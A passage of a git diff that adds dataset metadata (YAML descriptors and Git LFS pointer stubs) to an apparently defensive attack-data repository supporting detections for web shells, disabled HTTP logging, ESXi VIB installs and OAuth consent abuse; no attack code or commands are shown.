XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational diff --git a/datasets/attack_techniques/T1505.003/generic_webshell_exploit/generic_webshell_exploit-ad0f92db-33ce-43c7-906a-18df6659acd6.log b/datasets/attack_techniques/T1505.003/generic_webshell_exploit/generic_webshell_exploit-ad0f92db-33ce-43c7-906a-18df6659acd6.log new file mode 100644 index 000000000..3474c1fbb --- /dev/null +++ b/datasets/attack_techniques/T1505.003/generic_webshell_exploit/generic_webshell_exploit-ad0f92db-33ce-43c7-906a-18df6659acd6.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:69f473ac1220ea191b0af3c8a67b0f8fd7bf39a36d9976e86d5eb82b7b0ea9d9 +size 6347 diff --git a/datasets/attack_techniques/T1505.003/moveit_windows-sysmon-93feff3f-69a1-434c-8620-8a6536c8352a.log b/datasets/attack_techniques/T1505.003/moveit_windows-sysmon-93feff3f-69a1-434c-8620-8a6536c8352a.log new file mode 100644 index 000000000..ead97428d --- /dev/null +++ b/datasets/attack_techniques/T1505.003/moveit_windows-sysmon-93feff3f-69a1-434c-8620-8a6536c8352a.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:2e302db9b4a670e0ab8c3a17c9254116b93c55a555465be6a77d0e221385854e +size 5814 diff --git a/datasets/attack_techniques/T1505.003/sharepoint_webshell/T1505.003_sharepoint_webshell.yml b/datasets/attack_techniques/T1505.003/sharepoint_webshell/T1505.003_sharepoint_webshell.yml new file mode 100644 index 000000000..47ee13249 --- /dev/null +++ b/datasets/attack_techniques/T1505.003/sharepoint_webshell/T1505.003_sharepoint_webshell.yml @@ -0,0 +1,13 @@ +author: STRT +id: dc8c652d-6fac-40f4-ab68-5ce289eece6c +date: '2026-07-11' +description: Curated attack data generated for detection Windows SharePoint Spinstall0 + Webshell File Creation +environment: attack_range +directory: sharepoint_webshell +mitre_technique: [] +datasets: +- name: sysmon_spinstall0 + path: /datasets/attack_techniques/T1505.003/sharepoint_webshell/sysmon_spinstall0-dc8c652d-6fac-40f4-ab68-5ce289eece6c.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational diff --git a/datasets/attack_techniques/T1505.003/sharepoint_webshell/sysmon_spinstall0-dc8c652d-6fac-40f4-ab68-5ce289eece6c.log b/datasets/attack_techniques/T1505.003/sharepoint_webshell/sysmon_spinstall0-dc8c652d-6fac-40f4-ab68-5ce289eece6c.log new file mode 100644 index 000000000..33e833bb5 --- /dev/null +++ b/datasets/attack_techniques/T1505.003/sharepoint_webshell/sysmon_spinstall0-dc8c652d-6fac-40f4-ab68-5ce289eece6c.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:02a91b3eefe7e536cbd486b70ca9ebd08690de59186c245e935ef7c419a27949 +size 1085 diff --git a/datasets/attack_techniques/T1505.003/snapattack/T1505.003_snapattack.yml b/datasets/attack_techniques/T1505.003/snapattack/T1505.003_snapattack.yml new file mode 100644 index 000000000..d0a101c78 --- /dev/null +++ b/datasets/attack_techniques/T1505.003/snapattack/T1505.003_snapattack.yml @@ -0,0 +1,13 @@ +author: STRT +id: 394a6084-2706-4f2b-b9f1-cdd76c60d01b +date: '2026-07-11' +description: Curated attack data generated for detection Windows Potential Web Shell + Creation For VMware Workspace ONE +environment: attack_range +directory: snapattack +mitre_technique: [] +datasets: +- name: snapattack + path: /datasets/attack_techniques/T1505.003/snapattack/snapattack-394a6084-2706-4f2b-b9f1-cdd76c60d01b.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational diff --git a/datasets/attack_techniques/T1505.003/snapattack/snapattack-394a6084-2706-4f2b-b9f1-cdd76c60d01b.log b/datasets/attack_techniques/T1505.003/snapattack/snapattack-394a6084-2706-4f2b-b9f1-cdd76c60d01b.log new file mode 100644 index 000000000..1999caa03 --- /dev/null +++ b/datasets/attack_techniques/T1505.003/snapattack/snapattack-394a6084-2706-4f2b-b9f1-cdd76c60d01b.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:240d865fde3ad3c2da018adade93b1264b658caf36e15c12b061bc4252b90c57 +size 1195 diff --git a/datasets/attack_techniques/T1505.003/windows-sysmon_proxylogon-93feff3f-69a1-434c-8620-8a6536c8352a.log b/datasets/attack_techniques/T1505.003/windows-sysmon_proxylogon-93feff3f-69a1-434c-8620-8a6536c8352a.log new file mode 100644 index 000000000..6999b709f --- /dev/null +++ b/datasets/attack_techniques/T1505.003/windows-sysmon_proxylogon-93feff3f-69a1-434c-8620-8a6536c8352a.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:f38817fce93deb1c95e963421960194b01c16d6c11801b6800a57e0b7a7112a5 +size 1017 diff --git a/datasets/attack_techniques/T1505.003/wsus-windows-sysmon-93feff3f-69a1-434c-8620-8a6536c8352a.log b/datasets/attack_techniques/T1505.003/wsus-windows-sysmon-93feff3f-69a1-434c-8620-8a6536c8352a.log new file mode 100644 index 000000000..307751172 --- /dev/null +++ b/datasets/attack_techniques/T1505.003/wsus-windows-sysmon-93feff3f-69a1-434c-8620-8a6536c8352a.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:7a960310c14fbbd4c22ea2c800b6c1cf6c7c4efc4a75dfd7c782fec998732e3d +size 1984 diff --git a/datasets/attack_techniques/T1505.004/2282_windows-application-7e74e516-786c-4742-af5b-9f54d6582bd5.log b/datasets/attack_techniques/T1505.004/2282_windows-application-7e74e516-786c-4742-af5b-9f54d6582bd5.log new file mode 100644 index 000000000..bd57d7a23 --- /dev/null +++ b/datasets/attack_techniques/T1505.004/2282_windows-application-7e74e516-786c-4742-af5b-9f54d6582bd5.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:0005c588579b427e86b6f2c42fd7d0f3ceaea3192fcafef5e4a09a1d2bfe81f7 +size 2984 diff --git a/datasets/attack_techniques/T1505.004/4104_disable_http_logging_windows-powershell-7e74e516-786c-4742-af5b-9f54d6582bd5.log b/datasets/attack_techniques/T1505.004/4104_disable_http_logging_windows-powershell-7e74e516-786c-4742-af5b-9f54d6582bd5.log new file mode 100644 index 000000000..c32a0b3ed --- /dev/null +++ b/datasets/attack_techniques/T1505.004/4104_disable_http_logging_windows-powershell-7e74e516-786c-4742-af5b-9f54d6582bd5.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:fc28491f385c70cee5537481de14fcf337ae80b780563aba6e8383636eba4607 +size 7272 diff --git a/datasets/attack_techniques/T1505.004/4104_windows-powershell-7e74e516-786c-4742-af5b-9f54d6582bd5.log b/datasets/attack_techniques/T1505.004/4104_windows-powershell-7e74e516-786c-4742-af5b-9f54d6582bd5.log new file mode 100644 index 000000000..a9f59b9fb --- /dev/null +++ b/datasets/attack_techniques/T1505.004/4104_windows-powershell-7e74e516-786c-4742-af5b-9f54d6582bd5.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:7da17543c0fa12770992d3aa905f680e6c436771ccddfb7c0fa01e4636caa672 +size 4756 diff --git a/datasets/attack_techniques/T1505.004/appcmd_install-windows-sysmon-7e74e516-786c-4742-af5b-9f54d6582bd5.log b/datasets/attack_techniques/T1505.004/appcmd_install-windows-sysmon-7e74e516-786c-4742-af5b-9f54d6582bd5.log new file mode 100644 index 000000000..0e9a76bff --- /dev/null +++ b/datasets/attack_techniques/T1505.004/appcmd_install-windows-sysmon-7e74e516-786c-4742-af5b-9f54d6582bd5.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:4e246f878532fd2509e1c911f3ff73fb73585df985ba0be8ce5de08613d4c08d +size 8458 diff --git a/datasets/attack_techniques/T1505.004/attack_techniques_T1505.004.yml b/datasets/attack_techniques/T1505.004/attack_techniques_T1505.004.yml new file mode 100644 index 000000000..499be8f82 --- /dev/null +++ b/datasets/attack_techniques/T1505.004/attack_techniques_T1505.004.yml @@ -0,0 +1,37 @@ +author: STRT +id: 7e74e516-786c-4742-af5b-9f54d6582bd5 +date: '2026-07-11' +description: Curated attack data generated for detection Windows Disable Windows Event + Logging Disable HTTP Logging +environment: attack_range +directory: T1505.004 +mitre_technique: [] +datasets: +- name: disable_http_logging_windows-sysmon + path: /datasets/attack_techniques/T1505.004/disable_http_logging_windows-sysmon-7e74e516-786c-4742-af5b-9f54d6582bd5.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational +- name: appcmd_install-windows-sysmon + path: /datasets/attack_techniques/T1505.004/appcmd_install-windows-sysmon-7e74e516-786c-4742-af5b-9f54d6582bd5.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational +- name: 2282_windows-application + path: /datasets/attack_techniques/T1505.004/2282_windows-application-7e74e516-786c-4742-af5b-9f54d6582bd5.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Application +- name: pwsh_publish_powershell + path: /datasets/attack_techniques/T1505.004/pwsh_publish_powershell-7e74e516-786c-4742-af5b-9f54d6582bd5.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-PowerShell/Operational +- name: 4104_disable_http_logging_windows-powershell + path: /datasets/attack_techniques/T1505.004/4104_disable_http_logging_windows-powershell-7e74e516-786c-4742-af5b-9f54d6582bd5.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-PowerShell/Operational +- name: 4104_windows-powershell + path: /datasets/attack_techniques/T1505.004/4104_windows-powershell-7e74e516-786c-4742-af5b-9f54d6582bd5.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-PowerShell/Operational +- name: gacutil_windows-sysmon + path: /datasets/attack_techniques/T1505.004/gacutil_windows-sysmon-7e74e516-786c-4742-af5b-9f54d6582bd5.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational diff --git a/datasets/attack_techniques/T1505.004/disable_http_logging_windows-sysmon-7e74e516-786c-4742-af5b-9f54d6582bd5.log b/datasets/attack_techniques/T1505.004/disable_http_logging_windows-sysmon-7e74e516-786c-4742-af5b-9f54d6582bd5.log new file mode 100644 index 000000000..7cf1d9579 --- /dev/null +++ b/datasets/attack_techniques/T1505.004/disable_http_logging_windows-sysmon-7e74e516-786c-4742-af5b-9f54d6582bd5.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:05ed4a19ac5b9ffcbaa95f443582e2590148654e763f8f472e22b06c48ab121c +size 4198 diff --git a/datasets/attack_techniques/T1505.004/gacutil_windows-sysmon-7e74e516-786c-4742-af5b-9f54d6582bd5.log b/datasets/attack_techniques/T1505.004/gacutil_windows-sysmon-7e74e516-786c-4742-af5b-9f54d6582bd5.log new file mode 100644 index 000000000..3c04c1bbe --- /dev/null +++ b/datasets/attack_techniques/T1505.004/gacutil_windows-sysmon-7e74e516-786c-4742-af5b-9f54d6582bd5.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:aee0aef0cb385d96a0c8d2df1bcd8e068a217ec6d326d422f2158d6d7db9d2f9 +size 4285 diff --git a/datasets/attack_techniques/T1505.004/pwsh_publish_powershell-7e74e516-786c-4742-af5b-9f54d6582bd5.log b/datasets/attack_techniques/T1505.004/pwsh_publish_powershell-7e74e516-786c-4742-af5b-9f54d6582bd5.log new file mode 100644 index 000000000..cf1ed1ff1 --- /dev/null +++ b/datasets/attack_techniques/T1505.004/pwsh_publish_powershell-7e74e516-786c-4742-af5b-9f54d6582bd5.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:2eb99446eced41e7724986a4fdc358b36d4e1141cd1405899596e004c4b974ff +size 6216 diff --git a/datasets/attack_techniques/T1505.006/esxi_malicious_vib/T1505.006_esxi_malicious_vib.yml b/datasets/attack_techniques/T1505.006/esxi_malicious_vib/T1505.006_esxi_malicious_vib.yml new file mode 100644 index 000000000..779b5733b --- /dev/null +++ b/datasets/attack_techniques/T1505.006/esxi_malicious_vib/T1505.006_esxi_malicious_vib.yml @@ -0,0 +1,13 @@ +author: STRT +id: e144c5f6-dc20-4d32-92a3-844b7f162104 +date: '2026-07-13' +description: Curated attack data generated for detection ESXi Malicious VIB Forced + Install +environment: attack_range +directory: esxi_malicious_vib +mitre_technique: [] +datasets: +- name: esxi_malicious_vib_forced_install + path: /datasets/attack_techniques/T1505.006/esxi_malicious_vib/esxi_malicious_vib_forced_install-e144c5f6-dc20-4d32-92a3-844b7f162104.log + sourcetype: vmw-syslog + source: vmware:esxlog diff --git a/datasets/attack_techniques/T1505.006/esxi_malicious_vib/esxi_malicious_vib_forced_install-e144c5f6-dc20-4d32-92a3-844b7f162104.log b/datasets/attack_techniques/T1505.006/esxi_malicious_vib/esxi_malicious_vib_forced_install-e144c5f6-dc20-4d32-92a3-844b7f162104.log new file mode 100644 index 000000000..d826f4767 --- /dev/null +++ b/datasets/attack_techniques/T1505.006/esxi_malicious_vib/esxi_malicious_vib_forced_install-e144c5f6-dc20-4d32-92a3-844b7f162104.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:5dbcd166746d6667160093d65930bc37e45783eb63ddd853c6d08a146aa8e441 +size 4484 diff --git a/datasets/attack_techniques/T1518/snapattack/T1518_snapattack.yml b/datasets/attack_techniques/T1518/snapattack/T1518_snapattack.yml new file mode 100644 index 000000000..7bbf51773 --- /dev/null +++ b/datasets/attack_techniques/T1518/snapattack/T1518_snapattack.yml @@ -0,0 +1,13 @@ +author: STRT +id: dd0fc01a-30de-406c-b277-39969efa1a65 +date: '2026-07-11' +description: Curated attack data generated for detection Windows Software Discovery + Via PowerShell +environment: attack_range +directory: snapattack +mitre_technique: [] +datasets: +- name: snapattack + path: /datasets/attack_techniques/T1518/snapattack/snapattack-dd0fc01a-30de-406c-b277-39969efa1a65.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-PowerShell/Operational diff --git a/datasets/attack_techniques/T1518/snapattack/snapattack-dd0fc01a-30de-406c-b277-39969efa1a65.log b/datasets/attack_techniques/T1518/snapattack/snapattack-dd0fc01a-30de-406c-b277-39969efa1a65.log new file mode 100644 index 000000000..d42ae0240 --- /dev/null +++ b/datasets/attack_techniques/T1518/snapattack/snapattack-dd0fc01a-30de-406c-b277-39969efa1a65.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:1dad51454c7e85c977b7757acdbfc60a9aa569b083b45537cbe72e731c8b8c6d +size 2424 diff --git a/datasets/attack_techniques/T1526/aws_security_scanner/T1526_aws_security_scanner.yml b/datasets/attack_techniques/T1526/aws_security_scanner/T1526_aws_security_scanner.yml new file mode 100644 index 000000000..9a028e2e9 --- /dev/null +++ b/datasets/attack_techniques/T1526/aws_security_scanner/T1526_aws_security_scanner.yml @@ -0,0 +1,12 @@ +author: STRT +id: 8d5e84d8-b0ab-4cd5-af4e-990e313fb89e +date: '2026-07-10' +description: Curated attack data generated for detection AWS Excessive Security Scanning +environment: attack_range +directory: aws_security_scanner +mitre_technique: [] +datasets: +- name: aws_security_scanner + path: /datasets/attack_techniques/T1526/aws_security_scanner/aws_security_scanner-8d5e84d8-b0ab-4cd5-af4e-990e313fb89e.log + sourcetype: aws:cloudtrail + source: aws_cloudtrail diff --git a/datasets/attack_techniques/T1526/aws_security_scanner/aws_security_scanner-8d5e84d8-b0ab-4cd5-af4e-990e313fb89e.log b/datasets/attack_techniques/T1526/aws_security_scanner/aws_security_scanner-8d5e84d8-b0ab-4cd5-af4e-990e313fb89e.log new file mode 100644 index 000000000..49daa7efb --- /dev/null +++ b/datasets/attack_techniques/T1526/aws_security_scanner/aws_security_scanner-8d5e84d8-b0ab-4cd5-af4e-990e313fb89e.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:2bb32b00af33480e75a1e04f9374ddd13675026cecf6b69c1576e2f7d8e23635 +size 1033222 diff --git a/datasets/attack_techniques/T1526/kubernetes_audit_pull_image/T1526_kubernetes_audit_pull_image.yml b/datasets/attack_techniques/T1526/kubernetes_audit_pull_image/T1526_kubernetes_audit_pull_image.yml new file mode 100644 index 000000000..c39f52dc4 --- /dev/null +++ b/datasets/attack_techniques/T1526/kubernetes_audit_pull_image/T1526_kubernetes_audit_pull_image.yml @@ -0,0 +1,13 @@ +author: STRT +id: 4fa767d0-4a3c-44be-a07f-0d03991b3e65 +date: '2026-07-10' +description: Curated attack data generated for detection Kubernetes Suspicious Image + Pulling +environment: attack_range +directory: kubernetes_audit_pull_image +mitre_technique: [] +datasets: +- name: kubernetes_audit_pull_image + path: /datasets/attack_techniques/T1526/kubernetes_audit_pull_image/kubernetes_audit_pull_image-4fa767d0-4a3c-44be-a07f-0d03991b3e65.log + sourcetype: _json + source: kubernetes diff --git a/datasets/attack_techniques/T1526/kubernetes_audit_pull_image/kubernetes_audit_pull_image-4fa767d0-4a3c-44be-a07f-0d03991b3e65.log b/datasets/attack_techniques/T1526/kubernetes_audit_pull_image/kubernetes_audit_pull_image-4fa767d0-4a3c-44be-a07f-0d03991b3e65.log new file mode 100644 index 000000000..556d33350 --- /dev/null +++ b/datasets/attack_techniques/T1526/kubernetes_audit_pull_image/kubernetes_audit_pull_image-4fa767d0-4a3c-44be-a07f-0d03991b3e65.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:475f2dd4d793bb9d32dbfab2ce49968010b13edc9c35ae09e9f989134ae3a8ba +size 2727 diff --git a/datasets/attack_techniques/T1528/azure_ad_user_consent_blocked/T1528_azure_ad_user_consent_blocked.yml b/datasets/attack_techniques/T1528/azure_ad_user_consent_blocked/T1528_azure_ad_user_consent_blocked.yml new file mode 100644 index 000000000..ecccfe258 --- /dev/null +++ b/datasets/attack_techniques/T1528/azure_ad_user_consent_blocked/T1528_azure_ad_user_consent_blocked.yml @@ -0,0 +1,13 @@ +author: STRT +id: fe74e80a-effa-4c93-a8fd-57ca42223374 +date: '2026-07-10' +description: Curated attack data generated for detection Azure AD User Consent Blocked + for Risky Application +environment: attack_range +directory: azure_ad_user_consent_blocked +mitre_technique: [] +datasets: +- name: azure_ad_user_consent_blocked + path: /datasets/attack_techniques/T1528/azure_ad_user_consent_blocked/azure_ad_user_consent_blocked-fe74e80a-effa-4c93-a8fd-57ca42223374.log + sourcetype: azure:monitor:aad + source: Azure AD diff --git a/datasets/attack_techniques/T1528/azure_ad_user_consent_blocked/azure_ad_user_consent_blocked-fe74e80a-effa-4c93-a8fd-57ca42223374.log b/datasets/attack_techniques/T1528/azure_ad_user_consent_blocked/azure_ad_user_consent_blocked-fe74e80a-effa-4c93-a8fd-57ca42223374.log new file mode 100644 index 000000000..9555d2c3c --- /dev/null +++ b/datasets/attack_techniques/T1528/azure_ad_user_consent_blocked/azure_ad_user_consent_blocked-fe74e80a-effa-4c93-a8fd-57ca42223374.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:5042f1d6d79a31c2340c9f6fa1f14a8e4f34e5d26d432fbc30d730ca9f7375f4 +size 2663 diff --git a/datasets/attack_techniques/T1528/azure_ad_user_consent_declined/T1528_azure_ad_user_consent_declined.yml b/datasets/attack_techniques/T1528/azure_ad_user_consent_declined/T1528_azure_ad_user_consent_declined.yml new file mode 100644 index 000000000..fc6108667 --- /dev/null +++ b/datasets/attack_techniques/T1528/azure_ad_user_consent_declined/T1528_azure_ad_user_consent_declined.yml @@ -0,0 +1,13 @@ +author: STRT +id: c2dc433f-2f83-4977-b644-5cbd1576856c +date: '2026-07-10' +description: Curated attack data generated for detection Azure AD User Consent Denied + for OAuth Application +environment: attack_range +directory: azure_ad_user_consent_declined +mitre_technique: [] +datasets: +- name: azure_ad_user_consent_declined + path: /datasets/attack_techniques/T1528/azure_ad_user_consent_declined/azure_ad_user_consent_declined-c2dc433f-2f83-4977-b644-5cbd1576856c.log + sourcetype: azure:monitor:aad + source: Azure AD diff --git a/datasets/attack_techniques/T1528/azure_ad_user_consent_declined/azure_ad_user_consent_declined-c2dc433f-2f83-4977-b644-5cbd1576856c.log b/datasets/attack_techniques/T1528/azure_ad_user_consent_declined/azure_ad_user_consent_declined-c2dc433f-2f83-4977-b644-5cbd1576856c.log new file mode 100644 index 000000000..8cf149d17 --- /dev/null +++ b/datasets/attack_techniques/T1528/azure_ad_user_consent_declined/azure_ad_user_consent_declined-c2dc433f-2f83-4977-b644-5cbd1576856c.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:23e710272bc5347601914863582ad5866c0468d089953f8604006226aea8605e +size 3676 diff --git a/datasets/attack_techniques/T1528/azure_ad_user_consent_granted/T1528_azure_ad_user_consent_granted.yml b/datasets/attack_techniques/T1528/azure_ad_user_consent_granted/T1528_azure_ad_user_consent_granted.yml new file mode 100644 index 000000000..6585f636d --- /dev/null +++ b/datasets/attack_techniques/T1528/azure_ad_user_consent_granted/T1528_azure_ad_user_consent_granted.yml @@ -0,0 +1,13 @@ +author: STRT +id: 5c6a080a-6993-44f1-8245-159f5c8ecbc9 +date: '2026-07-10' +description: Curated attack data generated for detection Azure AD OAuth Application + Consent Granted By User +environment: attack_range +directory: azure_ad_user_consent_granted +mitre_technique: [] +datasets: +- name: azure_ad_user_consent_granted + path: /datasets/attack_techniques/T1528/azure_ad_user_consent_granted/azure_ad_user_consent_granted-5c6a080a-6993-44f1-8245-159f5c8ecbc9.log + sourcetype: azure:monitor:aad + source: Azure AD diff --git a/datasets/attack_techniques/T1528/azure_ad_user_consent_granted/azure_ad_user_consent_granted-5c6a080a-6993-44f1-8245-159f5c8ecbc9.log b/datasets/attack_techniques/T1528/azure_ad_user_consent_granted/azure_ad_user_consent_granted-5c6a080a-6993-44f1-8245-159f5c8ecbc9.log new file mode 100644 index 000000000..38d3de69e --- /dev/null +++ b/datasets/attack_techniques/T1528/azure_ad_user_consent_granted/azure_ad_user_consent_granted-5c6a080a-6993-44f1-8245-159f5c8ecbc9.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:e5d62ad95f0dc41678ff50fe57afcd92869617cb57728807bf62ab39dbd20b17 +size 2385 diff --git a/datasets/attack_techniques/T1528/device_code_authentication/T1528_device_code_authentication.yml b/datasets/attack_techniques/T1528/device_code_authentication/T1528_device_code_authentication.yml new file mode 100644 index 000000000..a6b4b86ca --- /dev/null +++ b/datasets/attack_techniques/T1528/device_code_authentication/T1528_device_code_authentication.yml @@ -0,0 +1,12 @@ +author: STRT +id: 921afcc4-fc24-4105-9cd2-1efa592bc620 +date: '2026-07-10' +description: Curated attack data generated for detection Azure AD Device Code Authentication +environment: attack_range +directory: device_code_authentication +mitre_technique: [] +datasets: +- name: azure-audit + path: /datasets/attack_techniques/T1528/device_code_authentication/azure-audit-921afcc4-fc24-4105-9cd2-1efa592bc620.log + sourcetype: azure:monitor:aad + source: Azure AD diff --git a/datasets/attack_techniques/T1528/device_code_authentication/azure-audit-921afcc4-fc24-4105-9cd2-1efa592bc620.log b/datasets/attack_techniques/T1528/device_code_authentication/azure-audit-921afcc4-fc24-4105-9cd2-1efa592bc620.log new file mode 100644 index 000000000..350ee0a54 --- /dev/null +++ b/datasets/attack_techniques/T1528/device_code_authentication/azure-audit-921afcc4-fc24-4105-9cd2-1efa592bc620.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:2e995404980101f973f1c388b65d325c0def7977cd4360fd800b510dbcfc9e42 +size 3233 diff --git a/datasets/attack_techniques/T1528/o365_user_consent_blocked/T1528_o365_user_consent_blocked.yml b/datasets/attack_techniques/T1528/o365_user_consent_blocked/T1528_o365_user_consent_blocked.yml new file mode 100644 index 000000000..e2adb4e9a --- /dev/null +++ b/datasets/attack_techniques/T1528/o365_user_consent_blocked/T1528_o365_user_consent_blocked.yml @@ -0,0 +1,13 @@ +author: STRT +id: 8d4ad769-aadb-4a84-96ec-9ef32a52d272 +date: '2026-07-10' +description: Curated attack data generated for detection O365 User Consent Blocked + for Risky Application +environment: attack_range +directory: o365_user_consent_blocked +mitre_technique: [] +datasets: +- name: o365_user_consent_blocked + path: /datasets/attack_techniques/T1528/o365_user_consent_blocked/o365_user_consent_blocked-8d4ad769-aadb-4a84-96ec-9ef32a52d272.log + sourcetype: o365:management:activity + source: o365 diff --git a/datasets/attack_techniques/T1528/o365_user_consent_blocked/o365_user_consent_blocked-8d4ad769-aadb-4a84-96ec-9ef32a52d272.log b/datasets/attack_techniques/T1528/o365_user_consent_blocked/o365_user_consent_blocked-8d4ad769-aadb-4a84-96ec-9ef32a52d272.log new file mode 100644 index 000000000..b339753ec --- /dev/null +++ b/datasets/attack_techniques/T1528/o365_user_consent_blocked/o365_user_consent_blocked-8d4ad769-aadb-4a84-96ec-9ef32a52d272.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:514b26b4d42f751aad42275bc8508dd53566c7db2820dfaa126743b24bf43554 +size 4988 diff --git a/datasets/attack_techniques/T1528/o365_user_consent_declined/T1528_o365_user_consent_declined.yml b/datasets/attack_techniques/T1528/o365_user_consent_declined/T1528_o365_user_consent_declined.yml new file mode 100644 index 000000000..67cb60c28 --- /dev/null +++ b/datasets/attack_techniques/T1528/o365_user_consent_declined/T1528_o365_user_consent_declined.yml @@ -0,0 +1,13 @@ +author: STRT +id: 515e831c-ccbc-4548-a172-07643fb58662 +date: '2026-07-10' +description: Curated attack data generated for detection O365 User Consent Denied + for OAuth Application +environment: attack_range +directory: o365_user_consent_declined +mitre_technique: [] +datasets: +- name: o365_user_consent_declined + path: /datasets/attack_techniques/T1528/o365_user_consent_declined/o365_user_consent_declined-515e831c-ccbc-4548-a172-07643fb58662.log + sourcetype: o365:graph:api + source: o365 diff --git a/datasets/attack_techniques/T1528/o365_user_consent_declined/o365_user_consent_declined-515e831c-ccbc-4548-a172-07643fb58662.log b/datasets/attack_techniques/T1528/o365_user_consent_declined/o365_user_consent_declined-515e831c-ccbc-4548-a172-07643fb58662.log new file mode 100644 index 000000000..03484c691 --- /dev/null +++ b/datasets/attack_techniques/T1528/o365_user_consent_declined/o365_user_consent_declined-515e831c-ccbc-4548-a172-07643fb58662.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:337ce22fc7c6f4d6af3d95fa5654e8573952eaf7b40ca7b521df609ba44fd161 +size 1293 diff --git a/datasets/attack_techniques/T1528/o365_user_consent_file_permissions/T1528_o365_user_consent_file_permissions.yml b/datasets/attack_techniques/T1528/o365_user_consent_file_permissions/T1528_o365_user_consent_file_permissions.yml new file mode 100644 index 000000000..856dacb2b --- /dev/null +++ b/datasets/attack_techniques/T1528/o365_user_consent_file_permissions/T1528_o365_user_consent_file_permissions.yml @@ -0,0 +1,13 @@ +author: STRT +id: 257d30ad-63ba-4326-9928-e5b45f98c53d +date: '2026-07-10' +description: Curated attack data generated for detection O365 File Permissioned Application + Consent Granted by User +environment: attack_range +directory: o365_user_consent_file_permissions +mitre_technique: [] +datasets: +- name: o365_user_consent_file_permissions + path: /datasets/attack_techniques/T1528/o365_user_consent_file_permissions/o365_user_consent_file_permissions-257d30ad-63ba-4326-9928-e5b45f98c53d.log + sourcetype: o365:management:activity + source: o365 diff --git a/datasets/attack_techniques/T1528/o365_user_consent_file_permissions/o365_user_consent_file_permissions-257d30ad-63ba-4326-9928-e5b45f98c53d.log b/datasets/attack_techniques/T1528/o365_user_consent_file_permissions/o365_user_consent_file_permissions-257d30ad-63ba-4326-9928-e5b45f98c53d.log new file mode 100644 index 000000000..d17da00af --- /dev/null +++ b/datasets/attack_techniques/T1528/o365_user_consent_file_permissions/o365_user_consent_file_permissions-257d30ad-63ba-4326-9928-e5b45f98c53d.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:a33479eec69c01c71c6ded9b3c0fecee534e2dbd1647ce604264f752dda2822f +size 2529 diff --git a/datasets/attack_techniques/T1528/o365_user_consent_mail_permissions/T1528_o365_user_consent_mail_permissions.yml b/datasets/attack_techniques/T1528/o365_user_consent_mail_permissions/T1528_o365_user_consent_mail_permissions.yml new file mode 100644 index 000000000..e3056944a --- /dev/null +++ b/datasets/attack_techniques/T1528/o365_user_consent_mail_permissions/T1528_o365_user_consent_mail_permissions.yml @@ -0,0 +1,13 @@ +author: STRT +id: b98153fc-a74a-4b4d-96c5-55e06eab937c +date: '2026-07-10' +description: Curated attack data generated for detection O365 Mail Permissioned Application + Consent Granted by User +environment: attack_range +directory: o365_user_consent_mail_permissions +mitre_technique: [] +datasets: +- name: o365_user_consent_mail_permissions + path: /datasets/attack_techniques/T1528/o365_user_consent_mail_permissions/o365_user_consent_mail_permissions-b98153fc-a74a-4b4d-96c5-55e06eab937c.log + sourcetype: o365:management:activity + source: o365 diff --git a/datasets/attack_techniques/T1528/o365_user_consent_mail_permissions/o365_user_consent_mail_permissions-b98153fc-a74a-4b4d-96c5-55e06eab937c.log 